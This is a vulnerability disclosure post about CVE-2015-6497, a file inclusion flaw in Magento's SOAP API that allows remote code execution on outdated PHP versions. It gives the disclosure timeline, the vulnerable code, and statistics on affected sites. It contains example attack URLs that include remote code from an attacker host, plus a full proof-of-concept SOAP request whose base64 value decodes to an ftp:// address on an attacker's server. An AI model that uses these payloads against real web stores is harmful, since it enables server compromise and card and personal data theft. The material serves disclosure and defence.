Autoloaded File Inclusion in Magento SOAP API (SUPEE-6482)

This past February we reported an interesting and quite overlooked kind of vulnerability in the Magento web e-commerce platform. The vulnerability might allow an authenticated attacker to execute arbitrary code on the affected web stores, and this can lead to a complete compromise, including credit card information and personal data theft. We received the first reply from the Magento Security Team on June 22, 2015, stating that our submission was not eligible for the bug bounty program, because it was found to be invalid and not actionable. The reason for the rejection was that there are too many requirements to exploit the vulnerability, first of all it requires that Magento is running on outdated PHP versions, because this kind of vulnerability has been fixed in the PHP core engine at the beginning of 2014. However, as we will see in this post, there are still many websites out there using such outdated PHP versions. That should be one of the reasons why the Magento Security Team replied us on June 25, 2015, stating the following:

We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.

On August 4, 2015, a bundle of patches (SUPEE-6482) has been released by the Magento team, that resolved several security-related issues, including the one we reported in February. The same day Magento released new versions (Community Edition 1.9.2.1 and Enterprise Edition 1.14.2.1) that include SUPEE-6482 along with other security patches. On August 13, 2015, we requested a new CVE identifier for this vulnerability, and MITRE has assigned the name CVE-2015-6497 for it.

What is an "Autoloaded File Inclusion" vulnerability?

This kind of vulnerability might affect PHP applications which uses an "exploitable" autoloading mechanism. The "Autoloading Classes" feature has been introduced in PHP 5.0 with the magic function __autoload() which is automatically called when your code references a class or interface that hasn’t been loaded yet. So, instead of including every needed class by hand, is it possible to register a function that gets called as soon as the code try to instantiate an unknown class. This function gets passed the unknown class name and is responsible for including the right file that contains the class definition. As an aside, starting from PHP 5.1.2 autoload-functions are usually registered via spl_autoload_register(), which provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated in the future. Here’s an example of an extremely basic __autoload() implementation, which attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively (it's taken from the official PHP documentation page):

<?php

 function __autoload($class_name) {
    include $class_name . '.php';
 }

 $obj  = new MyClass1();
 $obj2 = new MyClass2(); 

?>

While this feature is extremely useful and powerful, it might introduce potential local/remote file inclusion vulnerabilities when user-controlled input is used as a class name. Indeed, if an attacker can control the class name variable passed to an autoloading function, she could try to play around with it in order to include an arbitrary file and execute PHP code remotely. There are multiple ways to trigger the autoloader, the most obvious is class instantiation using the new operator. In addition to that, there are some PHP functions which can be considered as sensitive sinks for this kind of vulnerability. Here is an incomplete list:

• class_exists()
• interface_exists()
• method_exists()
• property_exists()
• is_subclass_of()
• ...

So, when user-controlled input (tainted data) enters one of these sensitive sinks there's a chance for the application to be vulnerable to "Autoloaded File Inclusion". Let's see a trivial example of vulnerable scripts:

<?php

 /* File: autoload.php */

 function __autoload($class_name) {
    include $class_name . '.php';
 }

?>

<?php

 /* File: vuln.php */

 require('autoload.php');

 if(isset($_GET['class']) && class_exists($_GET['class'])) {
    $obj = new $_GET['class'];
 } else {
    die('No class found');
 }

 /* Some code... */

?>

In this example an attacker controls a class name via the GET parameter "class", which is first used with the class_exists() function (triggering the autoloader in case it is an unknown class) and then to instantiate a new object. This means that the attacker can control the $class_name variable passed to the autoloader, therefore it could be possible to include arbitrary files from both local or remote resources by invoking URLs like these:

http://example.com/vuln.php?class=http://attacker.com/shell
http://example.com/vuln.php?class=../../../tmp/cache/attacker_controlled/file

In the first case the autoloader will try to include and execute the PHP code located at http://attacker.com/shell.php, resulting in a Remote File Inclusion (RFI); while in the second case the autoloader will try to include and execute the PHP code located into the file /tmp/cache/attacker_controlled/file.php, resulting in a Local File Inclusion (LFI). Furthermore, in cases like this where the attacker controls the classname's prefix, in addition to http:// other PHP wrappers might be abused in order to execute arbitrary PHP code.

But... wait a moment! According to the official documentation "a valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores". That means an attacker cannot include arbitrary files via class names because it should not be possible to e.g. use path traversal sequences (../../) through them. But here comes the problem: there was a bug in the PHP core which allowed to invoke class autoloaders with invalid class names. This bug has been solved in January 2014 with the release of PHP versions 5.4.24 and 5.5.8.

How many vulnerable PHP installs are out there?

Well, the bug which might enable this kind of vulnerability has been fixed by the PHP team at the beginning of 2014. But is this enough to say this kind of vulnerability should not pose any security concern? Maybe not... At the end of 2014 has been published a blog post showing that 78% of all PHP installs were not secure, meaning they had at least one known security vulnerability. Antony Ferrara, the author of that post, used the statistics data from W3Techs in order to come to that conclusion. Let's try to do the same with regards to the PHP installs affected by the autoloading bug. In other words, let's check how many PHP websites are using PHP versions before 5.4.24 or 5.5.8.

The above table has been retrieved from the PHP version 5 usage statistics page from W3Techs, as of September 10, 2015. It shows that at least 54.2% of websites using PHP are affected by the autoloading bug (38.5% is using PHP 5.3, 14.7% is using PHP 5.2 and 1% is using PHP 5.1). Next step is to see how many websites are using vulnerable PHP 5.4.x and 5.5.x versions. The usage statistics page for subversions of PHP 5.4 show that 12.7% of websites using PHP are running a version before 5.4.24, while the usage statistics page for subversions of PHP 5.5 show that 3.5% of websites using PHP are running a version before 5.5.8. Overall, this means that 70.4% of websites using PHP are affected by the autoloading bug. Roughly speaking, considering that according to the official website Magento powers more than 240,000 online shops, this could mean that over 150,000 websites powered by Magento might be affected by CVE-2015-6497.

Technical description of the vulnerability

The vulnerability is caused by the Mage_Catalog_Model_Product_Api_V2::create() method, which handles the "catalogProductCreate" SOAP API call. The vulnerable code is located into the /app/code/core/Mage/Catalog/Model/Product/Api/V2.php script:

    public function create($type, $set, $sku, $productData, $store = null)
    {
        if (!$type || !$set || !$sku) {
            $this->_fault('data_invalid');
        }

        $this->_checkProductTypeExists($type);
        $this->_checkProductAttributeSet($set);

        /** @var $product Mage_Catalog_Model_Product */
        $product = Mage::getModel('catalog/product');
        $product->setStoreId($this->_getStoreId($store))
            ->setAttributeSetId($set)
            ->setTypeId($type)
            ->setSku($sku);

        if (!property_exists($productData, 'stock_data')) {
            //Set default stock_data if not exist in product data
            $_stockData = array('use_config_manage_stock' => 0);
            $product->setStockData($_stockData);
        }

This method expects the $productData parameter to be an array (in form of a stdClass object) and uses the property_exists() function with it. However, an attacker can manipulate a SOAP request arbitrarily and send the $productData parameter in form of a string. In this case, if the string passed to the property_exists() function is an unknown class, any registered autloader function will be triggered. When the property_exists() function is called there's only one autoloader function registered, that is the Varien_Autoload::autoload() method:

    public function autoload($class)
    {
        if ($this->_collectClasses) {
            $this->_arrLoadedClasses[self::$_scope][] = $class;
        }
        if ($this->_isIncludePathDefined) {
            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
        } else {
            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
        }
        $classFile.= '.php';
        //echo $classFile;die();
        return include $classFile;
    }

In such a scenario, the $class parameter automatically passed to this method is exactly the same string value sent through the $productData parameter from the SOAP request, which after some replacementes and a ".php" string appended to it, is being used in a call to the include() function. This may result in an arbitrary file inclusion (both from local or remote resources) and could be exploited to include and execute arbitrary PHP code. There are some conditions which should be met in order to exploit this vulnerability:

• an API user account with privileges to create a catalog product is required;
• in order to include arbitrary files from remote locations, Magento should run on PHP before 5.4.24 or 5.5.8, because such versions have fixed the issue related to invalid class names in the autoloading process;
• in order to include arbitrary files from remote locations the "allow_url_include" directive must be set to On;
• in case the allow_url_include directive is set to Off it might still be possible to include files from remote locations using the ssh2.sftp:// wrapper (which requires the SSH2 extension to be installed) or execute arbitrary OS commands leveraging the expect:// wrapper (which requires the Expect extension to be installed).

NOTE: if Magento is running on PHP version after 5.4.23 or 5.5.7 the vulnerability could still be exploited by including a local file with a .php extension (something like /tmp/test.php). If Magento is running on PHP before 5.3.4 the vulnerability could be exploited to include arbitrary local files with any extension (e.g. a session file containing malicious PHP code injected by the attacker) because NULL bytes are allowed within the path (see CVE-2006-7243).

Proof of Concept

Once logged in with valid API credentials, an attacker could send a SOAP request like the following in order to try to exploit the vulnerability:

POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:catalogProductCreate>
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">ZnRwOi8vYXR0YWNrZXI6cGFzc3dvcmRAYXR0YWNrZXJfc2VydmVyLmNvbS9ob21lL2F0dGFja2VyL2V2aWw=</productData>
<storeView xsi:nil="true"/>
</ns1:catalogProductCreate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The  "productData" parameter has been encoded in base64 within the SOAP request, and the decoded string is the following:

ftp://attacker:password@attacker_server.com/home/attacker/evil

This means that leveraging the ftp:// wrapper, an attacker might be able to force Magento to load and execute malicious code from a FTP server under its control. In this example, the attacker only has to put the malicious code under /home/attacker/evil.php. However, as we said before, other PHP wrappers might be abused, potentially leading to direct arbitrary PHP code execution.